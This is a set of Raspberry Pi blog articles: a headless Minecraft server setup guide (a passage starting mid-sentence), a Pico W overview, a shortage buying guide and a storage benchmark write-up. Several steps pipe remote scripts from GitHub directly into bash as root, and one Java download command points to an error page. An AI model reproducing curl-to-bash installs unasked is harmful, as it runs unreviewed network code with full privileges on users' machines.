solid state drive. I’ve used both the USB 3.1 and USB 3.2 variants with the Pi successfully and they benchmark very well! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* SD Card Setup: SanDisk Extreme A1 The SanDisk Extreme A1-A2 SD card has the best scoring SD card on pibenchmarks.com for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Windows Initial Setup Requirements: If you aren’t using Windows then you probably don’t need help with this part and can skip to the Raspbian Lite configuration section SSH client – This allows us to connect to our server via SSH. SSH is command line only. I recommend Putty which can be downloaded for free here: Official Putty Download Page Win32DiskImager (writes our Raspbian Lite image to the SD card) Getting Started – Imaging your SD card for use with the Raspberry Pi Unzip the Raspbian Lite image you downloaded and use Win32DiskImager to write it to your SD card.  Insert your Micro SD card into your computer’s Micro SD adapter slot.  If your computer can already take MicroUSB cards without the adapter then just stick it right in there. Now open Win32DiskImager and click the little blue folder icon on the Image line and browse to where you unzipped the Raspian image and select it.  The image line should now be populated with your Raspbian.img file.  You must now select the drive to write the image to.  This will be D: or some other letter depending on how many drives you already have on your computer.   Win32DiskImager should hide most of the drives you shouldn’t pick like your C: drive but other drives might show up.  Warning:  Don’t screw this one up!  Double, triple, and quadruple check that you select the CORRECT drive to write your SD image to.  If you pick the wrong one it will overwrite that drive and you will be screwed! The write process will take a few minutes but it won’t take too long because the Raspbian Lite distribution is much smaller than the full distribution.  Once the write completes Win32DiskImager will tell you it is done.  Okay, excellent, we have now formatted your MicroSD card with Raspbian Lite.   Enabling SSH There is still one step we need to do.  Raspbian Lite has no X based window manager and is console only.  We need to configure the Pi for SSH access so we can get in with SSH. You can alternatively hook it up to a TV and plug a keyboard in, but since this article is about setting up a headless server I encourage you to do it using SSH. You should now be able to browse to your SD card in Windows.  Go to your SD cards base folder which will just be called “boot” and create an file called ssh with no file extension.  Make sure that you do not make something like ssh.txt or anything.  It will be just “ssh” with no file extension.   If you create the ssh file and it looks like a text/Notepad document for the icon then you have your file extensions turned off.  Click “View” at the top of the window and you will see a checkbox under “Show/Hide” that says File Extensions.  Check this box and you will see the ending extensions for every file.  If there is no extension and you have a file that just says “ssh” then you are good to go.  Have Windows safely eject the drive and let’s proceed.  Put the newly formatted card into your Raspberry Pi and fire it up. Initial Raspbian Lite Configuration We need to get the newly assigned IP address to your Raspberry Pi.  The easiest way to do this is to log into your routers configuration page and view your connected devices.  If you do not know how to do this then you need to look up how to sign into your router’s configuration page because you will need to set up port forwarding later if you want anybody outside of your own network to be able to connect to the Minecraft server.   The default hostname is going to be something like rpi3 or raspberrypi.  While you are configuring this I strongly suggest you assign a static IP address for your Raspberry Pi.  This is so that when you set up port forwarding so other users can connect from outside your network that you won’t receive a new IP address the next time you restart your router which would make them unable to connect again.  Now that you know your IP address it’s time to fire up Putty and make a SSH connection to your server.  Put the IP address into Putty and leave the port to the default 22 and click open. Now it’s time to log into the pi using the default username of pi and the password raspberry. Now that you have signed in and changed your password it’s time to configure Raspbian. Step 1: Type sudo raspi-config and it will take you into the Raspberry Pi configuration options. Choose menu option #1 and Change your password immediately. The stock password of raspberry is the same for everyone and is a huge security risk. This is the very first option on the raspi-config page. Select it and choose a secure password. Step 2 (Optional): You may change your hostname with menu option 2 to whatever you want, such as minecraftserver. If you want to leave it as raspberrypi (the default) that is fine too. Step 3: Choose menu option 4 (Localization Options). By default all Raspbian images will be in the en_GB language. Choose option 1 to change locale and go down and uncheck en_GB and check your own locale’s UTF-8 option. This is important for performance later as the Minecraft server is formatted it UTF-8. For example, on my system I unchecked en_GB and checked en_US.UTF8. Press tab until you get to the Ok button and save these settings. It will now update your locale and ensure you are using UTF-8. Step 4: Choose your timezone. This is the second option in the localization options right under ‘Change Locale’. Select your time zone and hit Ok. Step 5: Interfacing options: Here we need to enable SSH. Even if you did option 2 earlier you still need to do this again or the next time you reboot you won’t be able to SSH in without pulling out the card and recreating that ssh file in the boot folder. Enable SSH and hit ok. Step 6: Choose “Advanced Options” from the main menu. Now choose “Expand Filesystem” which will expand your partition to the maximum size of your SD card so you can actually use all your space. Step 7: Under “Advanced Options” choose option 3 which is “Memory Split”. We are going to set your GPU memory to 16mb. GPU memory on the PI is actually taken out of your RAM so it goes to waste on a headless system. It does not go lower than 16mb so do not try. Choose 16mb and hit ok. Step 8: We are done in this configuration utility. Hit the tab key until “Finish” is highlighted and hit enter. Make sure that you don’t accidentally highlight the cancel option or you may have to do all these steps again. It will now ask if you want to reboot the system. Say yes as this is when many of the changes will take place such as expanding the filesystem which cannot be done without a reboot After your Raspberry Pi reboots log back in with SSH. We now need to update the system. Type the following command to update the system: sudo apt-get update && sudo apt-get upgrade This may take some time based on the speed of your internet connection. After all of the updates have completed reboot your system by typing sudo reboot Java Configuration NOTE: For a better way to do this: Update Java to the latest on Raspberry Pi OS Since we chose the lite image Java is not yet installed on the system, but we are *not* going to use the Java in the Raspbian Jessie repositories because it is outdated and many performance fixes and optimizations have been added. We are going to download the latest Oracle JDK ourselves. At the time of writing the latest Java JDK for hard float ARM (Raspbian 32bit) is jdk-8u131-linux-arm32-vfp-hflt.tar.gz. Use the following commands: wget --no-check-certificate --no-cookies --header "Cookie: oraclelicense=accept-securebackup-cookie" https://download.oracle.com/errors/download-fail-1505220.html If the download was successful you may proceed to the next following commands which will extract the JDK. If it was not successful you need to go to the Oracle Java website and download the latest JDK manually. Once you have downloaded the JDK type the following commands to install it: sudo mkdir /usr/java cd /usr/java sudo tar xf ~/jdk-8u131-linux-arm32-vfp-hflt.tar.gz Okay, we have extracted Java, now we need to tell the system that it is installed and where to find it using update-alternatives. Use the following commands: sudo update-alternatives --install /usr/bin/java java /usr/java/jdk1.8.0_131/bin/java 1000 sudo update-alternatives --install /usr/bin/javac javac /usr/java/jdk1.8.0_131/bin/javac 1000 Alright, that is it. Now lets test and make sure that Java is working properly. cd ~ java -version If everything went correctly, you should see something like:java version “1.8.0_131”Java(TM) SE Runtime Environment (build 1.8.0_131-b11)Java HotSpot(TM) Client VM (build 25.131-b11, mixed mode) If you see this, then congratulations, you’ve installed the latest JDK and are now done with Java configuration for the system. Minecraft Server Initial Setup I have all the latest configuration files I am using to run the server uploaded to my GitHub. Lets replace the default versions with these ones to use as a starting point. My GitHub repository is located at TheRemote – RaspberryPiMinecraft GitHub Repository Lets download this repository and make our folder to extract the files to. Type/paste the following: curl https://raw.githubusercontent.com/TheRemote/RaspberryPiMinecraft/master/SetupMinecraft.sh | bash Advanced Raspberry Pi Configuration – Overclock SD card reader To get a well performing server we need to make some changes to the Raspberry Pi configuration. The first and most important change that we need to make is that we need to overclock the SD port from 50hz to 100hz. This is safe for all modern cards. Unless you have a 2 dollar bargain bin card you shouldn’t have any trouble. To understand why the Raspberry Pi is so underclocked keep in mind that the Raspberry Pi is designed to work with any piece of junk SD card since it is an educational computer shipped all over the world. They want it to work with as wide of a range of hardware as possible. Good class 10 SD cards are rated to work at 100hz. If you have a Samsung Evo or a good SanDisk class 10 you will see tremendous performance gains by changing this. This is the most important optimization/overclock you can make to your Pi because I/O performance WILL be a major bottleneck for the Minecraft Pi server! This overclock option is enabled in your /boot/config.txt. So before we change anything we are going to back it up. Type this command:sudo cp /boot/config.txt /boot/config.txt.backup Great. Now we have a backup of our original config.txt located in the boot folder. Next let’s overclock the SD card slot. sudo nano /boot/config.txt Now we want to type/paste this line into the file (I put it at the bottom usually, but you can put it anywhere). The # sign in this configuration file indicates a comment, but I have left a comment on it to make it clear what each line does. # Overclock the SD card port to 100hzdtparam=sd_overclock=100 Ctrl+X and yes to save. That’s it. Now let’s reboot the Pi by typing sudo reboot and if you have a quality card your Raspberry Pi will boot up. This nearly doubles the performance of your SD card provided you are using a high quality microUSB card from the links posted above. If anything goes wrong and your Pi won’t boot, you can simply put the SD card into another machine and open the /boot/config.txt and change it back to the original. Then restart your Pi and it will load up with the original configuration settings. If this happens it means you probably don’t have a card that can handle a 100hz microSD overclock. Pregenerate your world The biggest bottleneck on the Raspberry Pi is that generating “chunks” or basically sections of the Minecraft map is done by the server as you explore. This is a very expensive operation both in CPU usage and disk I/O. If you have several people exploring a server that is brand new and the chunks haven’t been generated things get really slow really quick. Fortunately, there is a plugin that offers a solution to this problem. It is a plugin called “WorldBorder”. The plugin allows you to set a border on your world that stops people from going further, but this isn’t the feature we are necessarily interested in. WorldBorder has an option to “fill” all of the chunks in your server inside your defined border. This means we can generate all of the chunks before the players reach them so that all the Raspberry Pi has to do is read the chunks from the disk which is MUCH faster than having to generate the chunk from scratch and then save it to the disk. To download this plugin, make sure that the server is not running, and type the following commands: cd ~/Paper/plugins wget --content-disposition -E https://dev.bukkit.org/projects/worldborder/files/latest That’s it. The plugin is now installed. Before we run the server we need to install one more package. It is an application called “screen” that will allow you to run the Minecraft server on the Pi without having to keep your SSH connection open. Type the following command: sudo apt-get install screen In our configuration files we extracted earlier you may have noticed we extracted a script called start.sh. This is a special startup script that uses JVM arguments to help the Minecraft server run appropriately on the Raspberry Pi. I have had Aikar (the master of timings and author of many of the optimizations present in the Paper/Spigot fork of Minecraft) check these JVM arguments and they are the best we can do for the Raspberry Pi and they do make a significant difference. This is the minimum required to get things running but there are several optional optimizations you should making that I will explain in the next sections. You can start the server by going into the paper directory and running start.sh. This is how it will look when you type the commands: cd ~/Paper/ ./start.sh At first you won’t really see anything happen. To actually see the Minecraft server screen you will type the following command: screen -r minecraft You should now see the Minecraft server output and can interact with the console and type commands per usual. The great thing about screen is that even when you close the SSH window your Minecraft server will stay running. If you close your SSH window and want to log back into SSH you simply reattach to the screen by typing screen -r minecraft once again. This will bring the screen back up again. Go ahead and bring up the Minecraft server back up now by typing: screen -r minecraft If the server has completely loaded you should see something at the bottom like “Timings Reset”. This is one of the last lines that prints as the server starts. You can type console commands to the server from here. We are going to use WorldBorder to create a border and then use the fill function to pregenerate the world.  This is so that the Pi doesn’t have to create the world dynamically as you are trying to play. These commands will set a worldborder radius of 1000 blocks. The first time I did this I set a radius of 2500 blocks and the server ended up being about 350mb and it took hours and we will probably never go to most of those places. You can adjust this number based on how big you want the world to be. I recommend starting with something like 1000. Remember, this can be adjusted later. Use the following commands: wb world set 1000 spawn wb world fill 1000 wb fill confirm This process will take quite a while. On my overclocked Pi I was getting only 50-60 chunks generated per output message. This shows how important it is to pregenerate your world. If you weren’t doing this, this process would be happening while you were trying to play the server and exploring chunks you had not been to before. This is one of the biggest secrets to having a playable Pi Minecraft server that nobody ever told you! This process took about 30-45 minutes on my overclocked Pi3 with a great SD card for 1000 blocks. It may take shorter/longer depending on how fast your SD card is and what revision of the Pi you are using. Okay, now that you have waited and the process is 100% complete, you are done! Type stop to gracefully close the server and make sure all those generated chunks are saved. Now I recommend completely rebooting your Pi to clear out the cache with sudo reboot and get a fresh boot and then heading to your Paper folder and typing ./start.sh. Connecting to the server Open your Minecraft client and launch vanilla 1.12. The beauty of the Paper fork is that we will be using the vanilla client to play without any mods. Neither you or your friends will change anything from your vanilla Minecraft client. Launch 1.12 and then head to the multiplayer section. Choose “Add Server” and type in your Pi’s IP address. You should see the Pi server and now be able to connect. To allow outside players to connect to your network you will need to first find out your public IP address (the internet facing IP address). The easiest way to do this is just to go to http://www.whatismypublicip.com/. Now that you know your public IP address you need to set up a port forwarding rule in your router. This process is different for every router. If you don’t know how to log into your router and add a port forwarding rule go look at your router and find the model # and then go to google and type your router’s model along with “port forwarding” and you should easily find instructions for any router. If you already know how to log into your router and add port forwarding, you will simply add a port forward for TCP/UDP port 25565 to your Raspberry Pi’s IP and players outside the network will be able to connect by adding your internet facing IP we got from whatismypublicip.com. Congratulations, you are done and will now have a well performing Raspberry Pi server! Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Conclusion The reason we are able to run a Minecraft server at full vanilla settings with this configuration is because of the Raspberry Pi’s bottlenecks and how we have minimized them. Let’s recap them real quick. Disk I/O: By overclocking the SD port and having a high quality SD card we are able to nearly double our disk performance. Reading is much faster than writing, so by pregenerating our world we are able to use a full view distance of 10 instead of 4 like the other tutorials recommend RAM: By running a completely headless server and changing our dedicated video memory to 16mb we squeeze out enough RAM for the Minecraft server to comfortably support a few players at vanilla settings CPU: The CPU on the Raspberry Pi is actually fairly decent, but most of Minecraft’s code is single threaded meaning most of the operations are running on one core. The Paper Spigot fork of Minecraft adds threading for some extremely important areas. The most important one is chunk loading and unloading. The vanilla Minecraft server does not do this and that is why it is practically impossible to run a pure vanilla Minecraft server on a quad core ARM computer when everything is in a single thread. As you saw when we ran WorldBorder’s fill function, the Minecraft server on a Pi can only generate around 50-60 chunks per second. When somebody logs into a server with view distance 10, they can see MANY more chunks than that. That means that if you try to explore with your friends you are generating a huge amount of chunks which brings the Raspberry Pi to its knees. By pregenerating the world all the Pi has to do is load it and send it. The Pi’s fastest disk performance is reading, so since we are just reading the chunks and sending them instead of generating them (CPU and RAM expensive) and then saving those chunks to the disk (Disk IO intensive), we avoid all this by just reading them and forwarding them to the players. This creates a smooth playable experience. Therefore, the conclusion of this project is that the key to running a Minecraft server on the Pi is to invest in a excellent solid state drive or SD card and overclock it, then pregenerate your world! #### Raspberry Pi Pico W Explained Raspberry Pi Pico W The Raspberry Pi Pico and Pico W boards are quite different from other Raspberry Pis. The price tag is very alluring at $6 but you will want to make sure you understand what it is and how it is different from a Raspberry Pi. This will be a brief article I’ll explain these differences and give you an idea of what kind of uses a Pico is meant for so you can decide if it’s right for you and your project. Let’s get started! Table of Contents Toggle Hardware UsedOverviewWho Should Get One?Other Resources Hardware Used Raspberry Pi Pico W The Raspberry Pi Pico W is a very different type of Raspberry Pi that is meant to run an individual application rather than an entire operating system. It’s still quite powerful having a dual-core Arm Cortex-M0+ processor with 264kB of internal RAM! Links: Amazon.com* GeekPi Pico Complete Kit The GeekPi Pico starter kit includes a Pico (non-wireless) and a whole bunch of accessories to use with the Pico including a breadboard, a micro-servo motor, a I2C 1602 LCD Display Module and more. Good option for people looking for a kit that comes with everything they need to actually use the Pico. Links: Amazon.com* Overview A normal Raspberry Pi basically runs an operating system while a Pico runs applications. This is definitely the most important thing to understand. The Pico is considered a microcontroller board and not a single board computer like a regular Pi. A microcontroller is a much cheaper solution than a full blown Raspberry Pi. Imagine you have a project where you want to do something like lock/unlock a door/gate wirelessly. If you had to buy a Raspberry Pi for each door/gate that is going to get very expensive especially with Pi prices being what they are at time of writing. With the Pico W you would be able to do this project for a cost of ~$7 per gate/door instead of substantially more to move up to even a Pi Zero 2. This product basically fills those gaps where it doesn’t make sense to use a full blown Raspberry Pi and a microcontroller will work at a substantial cost savings. Who Should Get One? One of the most exciting things about the Pico is that it can run MicroPython. This honestly lowers the barrier to getting one and learning to use it substantially. Even if you don’t know Python it’s much easier to learn Python than C++ or other lower level languages and there’s a great chance if you are familiar with Raspberry Pis that you have worked with Python before. It’s incredibly easy to get started with the MicroPython version. The MicroPython official GitHub page is here. You also have the official Raspberry Pi Pico SDK which targets C++ applications. The Raspberry Pi Pico SDK official GitHub page is here. Basically anyone that is comfortable writing Python scripts or C++ applications will have no trouble making use of the Pico / Pico W. Other Resources If you already have a Pico make sure you check out my Getting Started with the Pico W Guide If you need more power than a Pico provides definitely check out my Compute Module 4 full setup guide #### Raspberry Pi Shortage Survival Guide rpilocator – Raspberry Pi Stock Locator Tool The Raspberry Pi shortage is extremely bad. As a site that covers a lot of topics related to the Raspberry Pi I’ve actually seen a major decline in traffic because people are having such a hard time getting these. Stock on Amazon is limited and it’s being scalped with prices such as $99 for a Zero 2 W and $187 for a Pi 4 8GB. Those are absurd prices. There are some Pis that are smarter to buy right now than others that you may not be thinking about. Today I’d like to cover additional places to get your Raspberry Pis during the shortage as well as recommend an alternative Pi (a more powerful one actually) you may not necessarily be thinking of! Table of Contents Toggle Best Sources for Raspberry PisOfficial Resellers – rpilocator toolAliExpressAmazonAlternative Pi to ConsiderConclusionOther Resources Best Sources for Raspberry Pis Official Resellers – rpilocator tool The first place you should check is the rpilocator tool located here. This is the site that is featured in the screenshot at the top of the article. It checks all of the official sources for Raspberry Pis. These are approved resellers. To be an approved Pi reseller you have to agree to sell at a certain price point to prevent scalping. Because the Pi Foundation requires this commitment from resellers they are absolutely the best place to buy your Raspberry Pi from. You will notice the availability is pretty poor even in my screenshot I took for the article. The way the tool is meant to be used though is you will typically need to refresh it every once in a while and watch for stock to drop. If you refresh periodically throughout the day you will get chances to buy these. AliExpress A source not often given enough consideration is AliExpress but people have usually heard of it. I’ve used it for many years as I’ve found I can find international sellers far undercutting anything you can find almost anywhere else. I recommend using the tool above over this although if you are willing to pay above official reseller prices (but lower than anywhere else) there is plenty of stock available. This has long been the case (10+ years at least) and many readers will be familiar with AliExpress regardless of what they think about it. The truth is it’s a lot like eBay. Many of the sellers are smaller sellers and just like eBay the quality of those sellers varies widely. You should think about AliExpress more like eBay than something like Amazon. Look at the seller and their reputation/stars and see if this person looks like it’s worth your time to transact with. You’ll often find that many of these are “power sellers” that sell tons of these. That is who it’s usually worth buying from. I’ll provide some listings here to bigger, safer sellers that are showing as a lower price than other places. I’m going to give comparative flash prices at time of writing as these will change probably almost every day. It’s more to give an idea of how much you’ll save on average. Raspberry Pi 2 Zero W – $89 vs ~*$*99 – 125 sold* Raspberry Pi 4 8GB with an entire accessories kit – $210 vs ~$188 for just the board* Raspberry Pi 400 – $104 vs ~$119* Amazon Raspberry Pi 4 1GB-4GB Listing (shared by multiple sellers, worth checking* *a*s* *s*e*l*l*e*r*s* *g*a*i*n*/*l*o*s*e* *s*t*o*c*k*)* Raspberry Pi 4 8GB* Raspberry Pi 2 Zero W* Raspberry Pi 400* Raspberry Pi Zero W The Raspberry Pi Zero W is the wireless-capable version of the Pi Zero. It has a much smaller form factor than a full size Pi making it ideal for use in projects that benefit from a very small form factor while having a fully capable Linux PC. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Alternative Pi to Consider Raspberry Pi 400 Kit The Raspberry Pi 400 kit includes everything you need for a full Pi 400 desktop build. The Pi 400 is the fastest Raspberry Pi ever released and comes in the form factor of a keyboard! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Very astute readers may have noticed in my previous links that yes you can get a Raspberry Pi 400 for as low as $100. This is even available on Amazon pretty widely as people either do not seem to be as familiar with the Pi 400 or don’t realize that at current prices it probably makes far more sense to get a Pi 400. The Raspberry Pi 400 is the most powerful Raspberry Pi they have ever released to consumers. It is several hundred megahertz faster than the Pi 4’s CPU. It comes in the form factor of a keyboard. I’ve had one for a long time and here’s an action shot: Raspberry Pi 400 Setup w/ NVMe SSD These are essentially 4GB Pis. Would you rather pay $150 for the 4GB Pi 4 model*? The one with a less powerful CPU that costs 50% more? I certainly wouldn’t right now unless you have no choice due to needing the smaller form factor. If it’s going to be doing anything where it can sit on a desk the power consumption is identical to a regular Pi 4 (the power adapter included with the Pi 400 is the same size). Even for a PiHole setup this makes far more sense at current prices. Any usage where it’s going to sit on a desk or a shelf will be fine and that is exactly what mine does most of the time. It is very convenient to connect a monitor and already have the keyboard right in place. It’s far less of a pain than connecting a headless Pi 4 (which you’ll need a keyboard for) to a monitor and I find myself doing this far more often with a Pi 400 than I would otherwise. The Pi 400 would be great for a lot of people’s use case. They’re really cool and I really like mine. It’s also the only one that isn’t being sold at complete scam / scalper prices. It’s actually available for the $100 and I strongly recommend this for those who it is an option! Conclusion Unless you can’t use it due to form factor the Pi 400 is the Pi to be getting right now. It does not make sense to pay literally 50% more money for a Pi 4 with a slower CPU and the same amount of memory. There’s never been a better time to choose a Pi 400 instead! For those of you who *do* need the smaller form factor then rpilocator is your best friend to find them at retail. If you need to just acquire one at the lowest possible price don’t forget to check AliExpress listings as there is often stock available for slightly or even moderately cheaper prices in some cases. What strategies are you using to get Pis during the shortage? If you spot any deals don’t hesitate to leave a comment and I’ll even update the article/highlight any really great deals/sources you’ve found! Other Resources For an alternative board around $35 check out my Orange Pi Zero 2 review here See all of my available SBC reviews here for some other ideas for available boards There’s also the $40 Libre Computers “Le Potato” which I reviewed here To use a SSD with the Pi check out which storage adapters and SSDs work best with the Raspberry Pi My 2022 Raspberry Pi Storage benchmarks show the fastest and most popular SSDs to use with the Pi For headless configuration check out how to headlessly configure the Pi with the Pi Imager #### Raspberry Pi Storage Benchmarks + Benchmarking Script Pi Benchmarks 2019 Contenders Storage options continue to advance at a very fast pace. We’ve seen a lot of changes in the past couple of years with viable storage options for your Pi. Solid state drives are now so cheap that it can be cheaper to outfit your Pi with a SSD than buy a MicroSD card! MicroSD cards also continue to evolve with the new “Application Class” A1 and A2 certifications. This year I wanted to do something more than just benchmark my ever-growing pile of MicroSD cards and solid state drives. Although I have a wide variety of storage to test I don’t have everything! So this time I created a benchmark that gives you a easy to compare score and anonymously submits the storage specifications and the results to this site. Running the benchmark is extremely easy. Run the following command on your Pi: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Table of Contents Toggle Current Benchmark ResultsNavigating the ResultsScoringMethodologyRecommendationsMy project is stationary (servers, media centers, etc.)My project moves around but can fit a USB driveMy project is small form factor and can’t use USB adapters or storageSSD AnalysisMicro SD AnalysisMicro SD A1 / A2 Application ClassVideo Class (V30, etc) and U Class (U1 and U3)Picking the Fastest Micro SD CardHow you can contributeConclusions Current Benchmark Results Pi Benchmarks – Raspberry Pi Storage Benchmarks The 2022 storage benchmarks are now available! Navigating the Results As the list of submissions continues to grow there can be a lot of data to sift through. I’ve provided a filter on the table to help narrow some of that down. To only see Micro SD cards click the “Product” drop down from the options above the table and choose “SD”. This will filter out everything but Micro SD cards. To see solid state choose “SSD”. You can also search by manufacturer, brand, etc. I have also offered the option to export the entire results table to Excel and other formats. If you perform any advanced analysis that you think would be useful to share be sure to leave a comment with what you found and I will credit you and post it for everyone! Scoring The benchmark heavily favors 4k random reads / writes. This is because for application and operating system performance this is by far the most important metric. Traditional benchmarking methods like dd write, hdparm read tests, etc. are very poor indicators of everyday performance. What matters is not how fast your storage can push through giant files but how fast it can respond to random input that asks it to read / write anywhere on the disk. To understand why we need to think of what your Raspberry Pi is usually doing. Most applications and services are not constantly writing giant sequential files which is what traditional synthetic benchmarks measure. Your Raspberry Pi is usually updating log files, reading data from different parts of the disk for various applications and services, responding to user input, etc. To your disk drive this behavior is considered “random” since it has no idea what it will be asked to read / write next. Storage devices doing large sequential I/O like transferring files utilize extensive caching and other techniques to speed up these kinds of operations. Unfortunately these techniques do not work when the operating system and storage device doesn’t know what users / applications / services might request next. The storage device has no way to know or prepare for what your application will want next so it has to read it raw from the disk and can’t rely on cache. This is why in our benchmarking we want to look very hard at 4k random read / writes. This is what will determine how “snappy” the Pi feels as you perform various tasks. Fast 4k random IO devices feel and perform much better than a device with huge throughput but poor random I/O performance. The current scoring method is: (DDWriteSpeed * 1024 + fio4kRandReadIOPS * 4 + fio4kRandWriteIOPS * 10 + io4kRead + io4kWrite + IO4kRandRead * 4 + IO4kRandWrite * 10) / 100 Methodology The benchmark runs a few different tests in order to get a good overall idea of storage performance. It runs 4k read / write and random read / write in two separate benchmarks to verify the results and reduce variance. Here are the tests used in the benchmark: FIO – An industry standard used for true storage benchmarking vs. just measuring throughput (like DD Write and HDParm — not considered true benchmarks). The benchmark tests 4k block size sequential read/write and random read/write. Gives a result in IOPS which stands for Input/Output Operations Per Second IOZone – A very popular benchmarking program. We also test 4k block size sequential read / write and 4k random read / writes here to verify our results are close to the FIO results DD Write – Basic throughput test of writing 0’s as fast as possible HD Parm – Tests disk read throughput in direct mode (avoids caching) Recommendations The top recommendation this year for Pi storage will depend on your form factor. Let’s break it down: My project is stationary (servers, media centers, etc.) The best choice is a 2.5″ Solid State drive connected via USB. This is the highest performance choice and is very cheap. If you have a Pi 3B+ or older the benchmarks show that any solid state drive is so fast that it maxes out the Raspberry Pi’s USB 2.0 bus. I’ll talk about this more in the SSD analysis section below but basically it’s best to get the cheapest option while still picking a reliable brand. If you have a Pi 4 then the performance of the solid state that you get is a performance factor. Differences between drive quality can affect performance but the performance of *any* quality solid state drive is going to crush SD cards and USB flash drives. The best way to find good fast drives is to go to the full Pi Storage Benchmark results and soft by drive and see which ones score higher and by how much. When you look at prices you can determine if you want to pay extra for the highest classes of performance and where your sweet spot is. The new Pi 4 has a much faster USB 3.0 bus on it that allows solid state’s potential to be unleashed leading to huge performance gains. Here is my current recommendation: Kingston A400 2.5″ SATA SSD The Kingston A400 has been a great drive to use with the Pi for years. It’s reliable, widely available around the world, has low power requirements and performs very well. It’s also very affordable. This drive has been benchmarked over 1000 times at pibenchmarks.com and is the #1 most popular SSD among the Pi community! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* StarTech 2.5″ SATA to USB 3.1 Adapter The USB 3.1 variant of the StarTech 2.5″ SATA adapter works well with the Pi 4. The USB 3.0 variant doesn’t have firmware updates available and is not recommended. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* My project moves around but can fit a USB drive Many USB drives are a poor choice for Pi storage media because they have very poor 4k random read / write performance. Micro SD cards are faster than a run of the mill / genreic flash drive. That being said, with the new Raspberry Pi 4 the USB 3.0 bus is having really high end flash drives outperforming Micro SD cards. On the 3B+ and older boards without the new bus USB flash drives are usually not a good choice (even the good ones). One drive that shows great performance even on a 3B+ is a special USB drive by SanDisk that is actually a solid state drive on a stick. It has the same size / dimensions of a regular flash drive but uses solid state storage internally giving it great 4k random read / write performance. I own it and it benchmarked at 2330 putting it more than double any MicroSD card and only a couple hundred points below Samsung Pro 2.5″ SSDs. SanDisk Extreme Pro SSD The SanDisk Extreme Pro USB SSD is a true solid state drive. This is different than a typical “flash drive” which uses extremely cheap memory and has very low random I/O performance/throughput compared to a real solid state drive. I’ve used both the USB 3.1 and USB 3.2 variants with the Pi successfully and they benchmark very well! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* My project is small form factor and can’t use USB adapters or storage There’s lots of cool projects out there that using any type of USB attached storage is not an option. For these projects Micro SD is still king. The good news is that Micro SD has had some recent developments such as the A1 / A2 application class cards. A2 is not supported by Raspberry Pi yet (or almost anything else really) so A1 is the important mark to hit. I’ll cover Micro SD in depth in the Micro SD analysis section but here is the current recommendation: SanDisk Extreme A1 The SanDisk Extreme A1-A2 SD card has the best scoring SD card on Pi Benchmarks for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* The SanDisk Extreme A1 Application Class version continues to dominate other Micro SD cards on the benchmarking charts. SSD Analysis SSD benchmarking so far has shown that there is not much of a difference between an older cheap SSD like a outdated mSATA Hynix drive and top of the line drives like the Samsung 850 Pro. The difference from the oldest cheap drives and top of the line was only about 100 points. This is because the Pi has a USB 2.0 bus. Even the slowest oldest SSDs are so fast that they hit the maximum possible data transfer rate over USB 2.0. Because of this it makes sense to buy the cheapest SSD drive possible that is still reliable. See my recommendations section for ideas. Micro SD Analysis The Micro SD market has always been a difficult place for Raspberry Pi owners. Since there traditionally was no classification that indicated random read / write performance we simply had to buy different cards and benchmark them. The problem with that was that Micro SD manufacturing processes change. They can even change from batch to batch. The 2015 Samsung Evo cards were a good example of this. We found a card with amazing 4k random read / write performance but one day they changed their process and the new ones are not even close. Fortunately things have recently improved for us somewhat because of, well, smartphones! Let’s talk about the application class. Micro SD A1 / A2 Application Class Application class cards were created because smartphones have become one of the top use cases for SD cards. Many people run applications directly off their SD card or have applications that keep their active storage on there. Tech savvy smartphone users sick of slow performing cards demanded a speed class was created to measure this type of performance. This is great for us Pi owners because this type of use is 4k random reads / writes and is exactly the same as what we do on the Pi. Thank you smartphone owners! It’s important to note that right now the Pi (and pretty much everything else) cannot currently make use of the new A2 standard as it requires special driver support to take advantage of the new features. I have benchmarked both the SanDisk Extreme and the SanDisk Extreme Pro A2 cards in my benchmark results and they did not perform any better than the A1 cards because of this. Lets look at the application class performance features: Application Class Performance Chart The new A1 application cards are fantastic and 